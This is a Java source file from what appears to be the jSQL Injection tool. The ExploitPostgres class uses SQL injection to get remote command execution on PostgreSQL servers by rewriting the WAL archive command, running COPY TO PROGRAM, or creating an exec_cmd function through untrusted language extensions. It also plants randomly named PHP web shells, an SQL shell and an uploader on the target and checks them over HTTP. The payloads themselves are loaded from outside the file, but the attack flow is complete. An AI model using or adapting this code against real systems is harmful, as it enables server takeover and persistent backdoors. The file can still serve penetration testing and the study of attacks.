View Javadoc
1   package com.jsql.model.accessible.vendor;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.vendor.postgres.ModelYamlPostgres;
7   import com.jsql.model.bean.util.Interaction;
8   import com.jsql.model.bean.util.Request;
9   import com.jsql.model.exception.JSqlException;
10  import com.jsql.model.exception.JSqlRuntimeException;
11  import com.jsql.model.injection.vendor.model.VendorYaml;
12  import com.jsql.util.LogLevelUtil;
13  import com.jsql.util.StringUtil;
14  import org.apache.commons.lang3.RandomStringUtils;
15  import org.apache.commons.lang3.StringUtils;
16  import org.apache.logging.log4j.LogManager;
17  import org.apache.logging.log4j.Logger;
18  import org.yaml.snakeyaml.Yaml;
19  
20  import java.io.File;
21  import java.io.FileInputStream;
22  import java.io.IOException;
23  import java.io.InputStream;
24  import java.net.http.HttpResponse;
25  import java.util.Arrays;
26  import java.util.UUID;
27  import java.util.function.BinaryOperator;
28  
29  public class ExploitPostgres {
30  
31      /**
32       * Log4j logger sent to view.
33       */
34      private static final Logger LOGGER = LogManager.getRootLogger();
35      private final InjectionModel injectionModel;
36      private String nameExtension = StringUtils.EMPTY;
37      private final ModelYamlPostgres modelYaml;
38  
39      public ExploitPostgres(InjectionModel injectionModel) {
40          this.injectionModel = injectionModel;
41          var yaml = new Yaml();
42          this.modelYaml = yaml.loadAs(
43              injectionModel.getMediatorVendor().getPostgres().instance().getModelYaml().getResource().getExploit(),
44              ModelYamlPostgres.class
45          );
46      }
47  
48      public void createUdf(String nameExtension) throws JSqlException {
49          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
50  
51          if (StringUtils.isEmpty(nameExtension)) {
52              if (this.checkRceWal()) {
53                  return;
54              }
55              if (this.checkRceProgram()) {
56                  return;
57              }
58              if (this.checkRceExtension()) {
59                  return;
60              }
61          } else {
62              this.nameExtension = this.createExtension(nameExtension);
63          }
64  
65          this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.ADD_FUNC);
66          if (this.nameExtension.startsWith("plpython")) {
67              this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getPlpython(),  this.nameExtension), ResourceAccess.ADD_FUNC);
68          } else if (this.nameExtension.startsWith("plperl")) {
69              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPlperl(), ResourceAccess.ADD_FUNC);
70          } else if (this.nameExtension.startsWith("pltcl")) {
71              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPltcl(), ResourceAccess.ADD_FUNC);
72          } else if (this.nameExtension.startsWith("plr")) {
73              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPlr(), ResourceAccess.ADD_FUNC);
74          } else if (this.nameExtension.startsWith("pllua")) {
75              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPllua(), ResourceAccess.ADD_FUNC);
76          } else if (this.nameExtension.startsWith("plsh")) {
77              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPlsh(), ResourceAccess.ADD_FUNC);
78          } else if (this.nameExtension.startsWith("sql")) {
79              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
80              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
81              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
82              this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
83              var result = this.injectionModel.getResourceAccess().getResult(String.format(
84                  this.modelYaml.getUdf().getSql().getResultCmd(),
85                  StringUtils.EMPTY
86              ), ResourceAccess.BODY_CONFIRM);
87              if (!"1337".equals(result)) {
88                  return;
89              }
90          }
91  
92          var functions = this.injectionModel.getResourceAccess().getResult(
93              this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
94              ResourceAccess.BODY_CONFIRM
95          );
96          if (!functions.contains("exec_cmd")) {
97              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
98              return;
99          }
100 
101         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [extension] successful: function found for extension [{}]", this.nameExtension);
102 
103         var request = new Request();
104         request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_POSTGRES);
105         request.setParameters(null, null);
106         this.injectionModel.sendToViews(request);
107     }
108 
109     private boolean checkRceExtension() throws JSqlException {
110         this.nameExtension = StringUtils.EMPTY;
111         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
112         for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
113             if (StringUtils.isEmpty(this.nameExtension)) {
114                 this.nameExtension = this.createExtension(ext);
115             }
116         }
117         if (StringUtils.isEmpty(this.nameExtension)) {
118             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: no extension found");
119             return true;
120         }
121         return false;
122     }
123 
124     private boolean checkRceProgram() {
125         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
126         var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
127         this.injectionModel.injectWithoutIndex(String.format(
128             this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
129             nameTempTable
130         ), ResourceAccess.TBL_CREATE);
131         this.injectionModel.injectWithoutIndex(String.format(
132             this.modelYaml.getUdf().getProgram().getRun(),
133             nameTempTable,
134             ResourceAccess.WEB_CONFIRM_CMD
135         ), ResourceAccess.TBL_FILL);
136         var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
137             this.modelYaml.getUdf().getProgram().getGetResult(),
138             nameTempTable
139         ), ResourceAccess.TBL_READ);
140         if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
141             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
142             var request = new Request();
143             request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_PROGRAM_POSTGRES);
144             request.setParameters(null, null);
145             this.injectionModel.sendToViews(request);
146             return true;
147         }
148         return false;
149     }
150 
151     private boolean checkRceWal() throws JSqlException {
152         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [WAL] requirements: archive_mode enabled");
153         if (!StringUtils.EMPTY.equals(this.runWal(null))) {
154             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [WAL] successful: command execution found");
155             var request = new Request();
156             request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_WAL_POSTGRES);
157             request.setParameters(null, null);
158             this.injectionModel.sendToViews(request);
159             return true;
160         }
161         return false;
162     }
163 
164     private String runWal(String command) throws JSqlException {
165         boolean isSetup = command == null;
166 
167         String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getWal().getGetStatus(), "wal#status");
168         if (isSetup && !status.contains("on")) {
169             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit WAL failure: archive_mode disabled");
170             return StringUtils.EMPTY;
171         }
172 
173         String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getWal().getGetPathConf(), "conf#path");
174         String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
175             this.modelYaml.getUdf().getWal().getGetConfLoid(),
176             pathConf
177         ), "conf#loid");
178         String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
179             this.modelYaml.getUdf().getWal().getGetConfLength(),
180             loidConf
181         ), "conf#size");
182 
183         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
184             this.modelYaml.getUdf().getWal().getPutCmd(),
185             loidConf,
186             lengthConf,
187             isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command
188         ), "conf#append");
189 
190         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
191             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
192             loidConf,
193             pathConf
194         ), "conf#write");
195         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getWal().getReloadConf(), "wal#reload");
196 
197         String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getWal().getGetCmd(), "cmd#confirm");
198         if (isSetup && !cmdArchive.contains("/tmp/cmd.txt")) {
199             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit WAL failure: archive command missing");
200             return StringUtils.EMPTY;
201         }
202 
203         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getWal().getRunWal(), "wal#run");
204         try {
205             Thread.sleep(750);  // wait for result as archiving is slow
206         } catch (InterruptedException e) {
207             LOGGER.log(LogLevelUtil.IGNORE, e, e);
208             Thread.currentThread().interrupt();
209         }
210         String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getWal().getGetResult(), "result#loid");
211         String result = this.injectionModel.getResourceAccess().getResult(String.format(
212             this.modelYaml.getFile().getRead().getLargeObject().getToText(),
213             loidResult
214         ), "result#read");
215 
216         if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
217             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit WAL failure: command result missing");
218             return StringUtils.EMPTY;
219         }
220         return result;
221     }
222 
223     private String createExtension(String nameExtension) throws JSqlException {
224         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension {}", nameExtension);
225         this.injectionModel.injectWithoutIndex(String.format(
226             this.modelYaml.getUdf().getExtension().getCreate(),
227             nameExtension
228         ), "body#add-ext");
229         String languages = this.injectionModel.getResourceAccess().getResult(
230             this.modelYaml.getUdf().getExtension().getLanguages(),
231             "body#confirm-ext"
232         );
233         if (languages.contains(nameExtension)) {
234             return nameExtension;
235         }
236         return StringUtils.EMPTY;
237     }
238 
239     public String runRceWalCmd(String command, UUID uuidShell) {
240         String result;
241         try {
242             result = this.runWal(command.replace(StringUtils.SPACE, "%20") +"%20");
243         } catch (JSqlException e) {
244             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
245         }
246         var request = new Request();
247         request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
248         request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
249         this.injectionModel.sendToViews(request);
250         return result;
251     }
252 
253     public String runRceProgramCmd(String command, UUID uuidShell) {
254         String result;
255         try {
256             var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
257             this.injectionModel.injectWithoutIndex(String.format(
258                 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
259                 nameTempTable
260             ), ResourceAccess.TBL_CREATE);
261             this.injectionModel.injectWithoutIndex(String.format(
262                 this.modelYaml.getUdf().getProgram().getRun(),
263                 nameTempTable,
264                 command.replace(StringUtils.SPACE, "%20") +"%20"
265             ), ResourceAccess.TBL_FILL);
266             result = this.injectionModel.getResourceAccess().getResult(String.format(
267                 this.modelYaml.getUdf().getProgram().getGetResult(),
268                 nameTempTable
269             ), ResourceAccess.TBL_READ);
270         } catch (JSqlException e) {
271             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
272         }
273         var request = new Request();
274         request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
275         request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
276         this.injectionModel.sendToViews(request);
277         return result;
278     }
279 
280     public String runRceExtCmd(String command, UUID uuidShell) {
281         String result;
282         try {
283             if ("sql".equals(this.nameExtension)) {
284                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
285                 this.injectionModel.injectWithoutIndex(String.format(
286                     this.modelYaml.getUdf().getSql().getRunFunc(),
287                     command.replace(StringUtils.SPACE, "%20")
288                 ), ResourceAccess.ADD_FUNC);
289                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
290                 result = this.injectionModel.getResourceAccess().getResult(String.format(
291                     this.modelYaml.getUdf().getSql().getResultCmd(),
292                     VendorYaml.TRAIL_SQL
293                 ), "body#result") +"\n";
294             } else {
295                 result = this.injectionModel.getResourceAccess().getResult(
296                     String.format(
297                         this.modelYaml.getUdf().getRunFunc(),
298                         command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
299                         VendorYaml.TRAIL_SQL
300                     ),
301                     ResourceAccess.UDF_RUN_CMD
302                 );
303             }
304         } catch (JSqlException e) {
305             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
306         }
307         var request = new Request();
308         request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
309         request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
310         this.injectionModel.sendToViews(request);
311         return result;
312     }
313 
314     public void createWeb(String pathExploit, String urlExploit) {
315         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query");
316 
317         String bodyExploit = StringUtil.base64Decode(
318                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
319             )
320             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
321             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
322 
323         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
324             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
325             bodyExploit.replace("'", "\"")
326         ), ResourceAccess.ADD_LOID);
327         if (StringUtils.isEmpty(loid)) {
328             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
329             return;
330         }
331         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
332         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
333             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
334             loid,
335             pathExploit + nameExploit
336         ), ResourceAccess.WRITE_LOID);
337 
338         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
339             String result = this.injectionModel.getResourceAccess().callCommand(
340                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
341             );
342             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
343                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
344                 return StringUtils.EMPTY;
345             }
346             var request = new Request();
347             request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
348             request.setParameters(urlSuccess);
349             this.injectionModel.sendToViews(request);
350             return urlSuccess;
351         };
352 
353         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
354     }
355 
356     public String createSql(String pathExploit, String urlExploit, String username, String password) {
357         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
358             var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
359                 ResourceAccess.SQL_CONFIRM_CMD,
360                 null,
361                 urlSuccess,
362                 username,
363                 password,
364                 false
365             );
366             if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
367                 var request = new Request();
368                 request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
369                 request.setParameters(urlSuccess, username, password);
370                 this.injectionModel.sendToViews(request);
371                 return urlSuccess;
372             }
373             return StringUtils.EMPTY;
374         };
375 
376         String bodyExploit = StringUtil.base64Decode(
377                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.sql.pdo.pgsql")
378             )
379             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
380             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
381 
382         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
383             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
384             bodyExploit.replace("'", "\"")
385         ), ResourceAccess.ADD_LOID);
386         if (StringUtils.isEmpty(loid)) {
387             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
388             return StringUtils.EMPTY;
389         }
390         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
391         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
392             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
393             loid,
394             pathExploit + nameExploit
395         ), ResourceAccess.WRITE_LOID);
396 
397         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
398     }
399 
400     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
401         String bodyExploit = StringUtil.base64Decode(
402                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
403             )
404             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
405             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
406 
407         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
408             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
409             bodyExploit.replace("'", "\"")
410         ), ResourceAccess.ADD_LOID);
411         if (StringUtils.isEmpty(loid)) {
412             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
413             return;
414         }
415         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
416         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
417             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
418             loid,
419             pathExploit + nameExploit
420         ), ResourceAccess.WRITE_LOID);
421 
422         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
423             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
424                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
425                 if (result.body().contains(DataAccess.LEAD +"y")) {
426                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
427                 } else {
428                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
429                 }
430             } catch (InterruptedException e) {
431                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
432                 Thread.currentThread().interrupt();
433             } catch (IOException | JSqlException e) {
434                 throw new JSqlRuntimeException(e);
435             }
436             return urlSuccess;
437         };
438 
439         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
440     }
441 
442     public ModelYamlPostgres getModelYaml() {
443         return this.modelYaml;
444     }
445 }